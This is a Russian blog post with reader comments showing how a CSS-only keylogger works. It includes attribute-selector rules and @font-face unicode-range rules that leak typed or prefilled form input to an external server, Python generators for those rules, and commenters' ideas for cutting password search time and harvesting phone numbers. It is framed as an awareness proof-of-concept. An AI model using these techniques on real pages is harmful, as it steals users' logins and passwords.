Создаем CSS кейлоггер

    Часто бывает так, что внешние JS файлы выглядят как угроза для клиента, в то время как внешнему CSS не придают особого значения. Казалось бы, как CSS правила могут угрожать безопасности вашего приложения, и собирать логины? Если вы считаете что это невозможно, то пост будет вам полезен.


    Мы рассмотрим на примерах, как можно реализовать простейший кейлоггер имея доступ только к CSS файлу, подключенному к странице-жертве.


    Вступление


    Не так давно я написал пост как можно отслеживать действия пользователей с помощью CSS, на который получил вопрос формата "можно ли собрать данные формы с помощью CSS". Возможно, c первого взгляда, покажется что это невозможно. Но давайте посмотрим на CSS селекторы, принимая во внимание, что применять их мы будем к тегу input type="text".


    В первую очередь, кажется логичным использовать для этих целей селектор атрибутов
    вида input[value^="login"], который позволяет выбрать поля текстовое содержание которых начинается с строки "login".


    Мы можем сгенерировать словарь слов, и создать множество CSS правил по шаблону jsfiddle:


    input[value^="my_login1"] {
      background: url("https://example.com/save-login/my_login");
    } 
    input[value^="other_text"] {
      background: url("https://example.com/save-login/other_text");
    }  
    // ...

    У данного подхода есть значительный недостаток, такая схема будет отправлять запросы только в случае, если у тега input изначально был установлен атрибут value на серверной стороне. С другой стороны, бывает так, что после отправки формы пользователю возвращается та же самая форма (с уже заполненными полями) но с списком необходимых исправлений. В таком случае наш метод отработает на 100%.


    Напишем небольшой скрипт, для генерации CSS с нужными комбинациями:


    import itertools
    from string import Template
    
    alphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]
    
    cssTemplate = Template('input[value^="$password"]{background:url("$backend/$password");}').safe_substitute(backend = 'https://x.x/save')
    
    for subset in itertools.combinations(alphabet, 4):
        print(Template(cssTemplate).substitute(password = ''.join(subset)))

    Таким образом мы получим 58905 правил, которые после обработки GZIP, вмещаются в файл размером 350K. В случае если на странице-жертве будет обнаружено поле, в котором текст совпадает с одним из наших правил (скажем, начинается со слова "XXXX") — мы получим GET запрос на x.x/save/XXXX.


    Работаем с пользовательским вводом


    Предварительно заполненные поля в форме встречаются очень редко. Да еще содержимое этого поля может не совпасть с специальным словарем, который мы сгенерировали в предыдущем шаге. Было бы неплохо иметь возможность получать информацию, в тот момент, когда пользователь вводит ее в текстовое поле.


    Для этого лучше всего подходит правило @font-face, которое позволяет подключить свой шрифт. А также инструкция unicode-range, которая позволяет сегментировать свой шрифт, явно указывая к каким unicode code point относиться тот или иной файл.


    На практике, это обычно выглядит как разделение шрифта на несколько файлов, по языковому признаку (например latin, greek, cyrillic), чтобы клиент загрузил только ту часть шрифта, которая представлена на странице. Возможно вы встречались с таким подходом используя fonts.google.com:


    /* https://fonts.googleapis.com/css?family=Roboto:400&subset=latin-ext,cyrillic-ext */
    /* cyrillic */
    @font-face {
      font-family: 'Roboto';
      font-style: normal;
      font-weight: 400;
      src: local('Roboto'), local('Roboto-Regular'), url(https://fonts.gstatic.com/s/roboto/v18/mErvLBYg_cXG3rLvUsKT_fesZW2xOQ-xsNqO47m55DA.woff2) format('woff2');
      unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
    }

    Подобным образом, мы можем создать собственный шрифт, и указать для каждого символа отдельное правило. Тем самым заставляя браузер делать GET запрос как только этот символ понадобиться для отображения.


    Рассмотрим такой пример jsfiddle:


    @font-face {
      font-family: spyFont;
      src: url(c/d/keylogger/a), local(Arial);
      unicode-range: U+0061;
    }
    input {
      font-family: spyFont, sans-serif;
    }

    В данном случае U+0061 соответствует символу "A". При вводе символа мы получим GET запрос к c/d/keylogger/a.


    Рассмотрим небольшой скрипт, который позволит сгенерировать шрифт для символов по словарю:


    from string import Template
    
    alphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]
    
    cssTemplate = Template('@font-face {font-family:$fontName; src:url(/keylogger/$char), local(Impact); unicode-range: U+$codepoint;}').safe_substitute(fontName = 'spyFont')
    
    for char in alphabet:
        codepoint = ('U+%04x' % ord(char))
        print(Template(cssTemplate).substitute(char = char, codepoint = codepoint))

    Такими правилами, мы создадим шрифт который будет логировать ввод пользователя на наш сервер. Данный подход тоже не идеален: запросы на символ приходят один раз на каждый символ. Другими словами, если пользователь введет "АА", мы получим один GET.


    Подведем итоги


    Применив комбинацию статичного словаря с директивами input[value^="XX"] и правил unicode-range для каждого символа в отдельности, мы сможем собрать уже значительный набор данных для предсказания актуального ввода пользователя. Пример такой комбинации вы можете найти тут.


    Будьте осторожны с подключаемыми CSS файлами из внешних источников.


    Данный пост написан исключительно как proof-of-concept в ознакомительных целях.

    Поделиться публикацией
    Ой, у вас баннер убежал!

    Ну. И что?
    Реклама
    Комментарии 32
      +7
      Если не брать в расчёт шрифты, то можно комбинировать как префиксный селектор, так и постфиксный + селектор подстроки.

      1. Возьмём 12-символьный рандомный пароль по 95-символьному словарю. Его перебор занимает где-то 1 млрд лет (540 секстиллионов вариантов).
      2. Далее селекторами наличия подстроки (*=) уменьшим размер словаря до 12 символов. Время перебора сократилось до 5 дней (10 трлн вариантов). Мы добавили 95 правил.
      3. Далее префиксными селекторами узнаём первые 2 символа. Таким образом длина пароля уменьшается на 2 символа, и перебор занимает от 1 часа (62 млрд вариантов). Добавилось +9025 правил.
      4. Далее постфиксными селекторами узнаём последние 2 символа. Пароль уменьшается ещё на 2 символа, и перебор занимает от 20 секунд (430 млн вариантов). Добавилось +9025 правил, суммарно 18145 правил.

      В итоге 1 млрд лет превратился в 20 секунд. Конечно, тут зависит от мощности сервера, лимитов на перебов, капчи и пр., но уменьшение стойкости пароля всё-равно очень серьёзное.

      9-символьный пароль сократится с 999 лет (630 квадриллионов вариантов) до 3 мс (59 тыс вариантов).

      PS. В расчётах принималось, что сервера сайта могут выдержать 20 млн запросов в секунду (конечно, большинство сайтов столько не выдержат). Трафик примерно от 10 Гбит/с и более.
        +1
        На счет постфиксного селектора — хорошая идея. Мы можем собирать постфиксным селектором не пароли а именно логины, в качестве которых часто выступают номера телефонов. Бывает так, что номер телефона заранее установлен в поле для ввода, и остается ввести пароль.
        В этом случае, постфиксным селектором мы соберем отличную базу номеров.
        0
        А в курсе ли разработчики CSS таких дыр? И не прикроют ли они в будущем возможность отправлять запросы через url() на удалённые сервера?
        Понятно, что это урежет гибкость, но не пожертвуют ли они ей ради безопасности?
          0
          Так необязательно же грузить content: url(), можно и backgroung-image: url() и многое другое. Или Вы предлагаете все картинки в html-коде прописывать?

          Даже если бы мы всё убрали, ну всё-равно значит можно прописать в html-коде, а потом просто скрыть/открыть элемент с помощью css. Да и какой смысл убирать? Всё то же самое можно сделать и скриптами. Разве что когда кто-то грузит чужой css, но много ли кто так делает?
            0
            Я не имел ввиду вообще запретить url(). Я имел ввиду запретить url() отправлять запросы на удалённые сервера. А запрос на свой же сервер (на котором лежит сам css-файл) оставить. Хотя, действительно, смысл не велик. Если всё тоже самое можно сделать из html, но думаю, ответственных за css, проблемы html не особо волнуют.
          0
          Тут скорее логично более агрессивное кэширование сделать. И это будут делать не разработчики CSS, а разработчики браузеров (как закрывали ранее дырки с посещенными ссылками, например)
          url не запретят т.к. слишком много сайтов сломается единовременно из-за этого. Да и не логично.
          0
          форма (с уже заполненными полями) но с списком необходимых исправлений. В таком случае наш метод отработает на 100%.

          Поле с паролем обычно принято не заполнять (но такая вероятность все равно остается).

            +1
            Простите если я чего то не понял, но…

            А каким образом код на загрузку такого css будет вставлен в страницу? Если на серверной стороне — то зачем мне морочить голову с таким кейлогером, когда я могу реализовать его гораздо эффективнее на серверной стороне. Если на стороне клиента, то есть есть xss и она работает — то опять нет смысла морочить себе голову с кейлогером на css — эффективнее будет тот же на js.

            Единственный сценарий использования это когда разработчик сам вставил ссылку на ваш внешний css к себя на страницу, но это уже очень специфический вектор атаки.
              +3
              Вы все правильно поняли, это тот самый случай когда на странице-жертве подключен внешний CSS. Или не внешний, а просто есть возможность внедрить стили на страницу-жертву.
                +1
                XSS предполагает именно скриптинг. Простейшая защита может тупо вырезать теги скрипт, обжект и т. п., оставляя безобидный стайл для оформления.
                  0
                  Вот тут кроется рецепт (на будущее) защиты.
                  Если мы разрешаем внедрять HTML, запрещая некоторые правила по собственному словарю (например, запрещаем теги
                0
                а точно input[value^=«login»]?
                почему не по имени поля?
                  +3
                  Зачем нам выбирать поля по имени? Смысл селектора собрать то, что находиться в атрибуте value — и отправить на внешний сервер с помощью инструкции url(). Посмотрите пример — jsfiddle.net/hcbogdan/1wdky4t6/1
                    0
                    а… видимо немного невъехал в суть.
                  +1
                  Как долго я ждал выхода этой статьи!
                    0
                    Что мешает в svg засунуть js он там исполнится
                    В css ссылку на svg
                      0
                      Может, тогда уж сразу SVG через data: uri?
                        0
                        Это не будет работать.
                        0
                        Не получается как написал. Скрипт не исполняется
                        В то-же время если открыть файл в браузере, alert выведется
                        Файл svg
                        <svg width="100%" height="100%" viewBox="0 0 50 50"
                             xmlns="http://www.w3.org/2000/svg"
                             xmlns:xlink="http://www.w3.org/1999/xlink">
                            <script>alert("ok");</script>
                            <circle cx="25" cy="25" r="25"/>
                        </svg>
                        

                          0
                          Исполняется, и есть доступ к элементам за пределами SVG
                          jsfiddle.net/Stalk/v4a7n92h (при вводе в input[type=password] его содержимое копируется в консоль)
                            0
                            Это в тэге svg исполняется. А вот через img — не должно.
                          0
                          <?php
                          from string import Template
                          Это пасхалка такая?
                          0
                          Вероятно, если файл шрифта не кешировать, то браузер будет постоянно брать файл шрифта на каждый запрос, но это нужно проверять.
                            0
                            Уже проверено. Можете взять приер тут jsfiddle.net/hcbogdan/tbg7wd4n
                            Кеширующие заголовки имеют влияние только при повторном вводе (в следующем сеансе).
                              0
                              Получается, что кейлоггер срабатывает только на каждый новый символ, при повторном наборе, запроса не будет, даже если урл не кешируется на стороне сервера.
                              Как это обойти?
                                0

                                Менять шрифты?

                                  0
                                  Можно установить по разному шрифту на каждый инпут, но не получится менять шрифт каждого символа, средствами CSS, для одного инпута.
                            0
                            Во втором случае фиксируются только значащие символы, а BackSpace/Delete/Left/Right не выходят из тени.
                            Таким образом, получается, что старые способы запутывания кейлоггеров (ввел пару символов, один удалил, ввел еще три, перевел курсор на вторую позицию, ввел еще несколько) могут получить новое дыхание. Ненадолго ))

                            Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                            Самое читаемое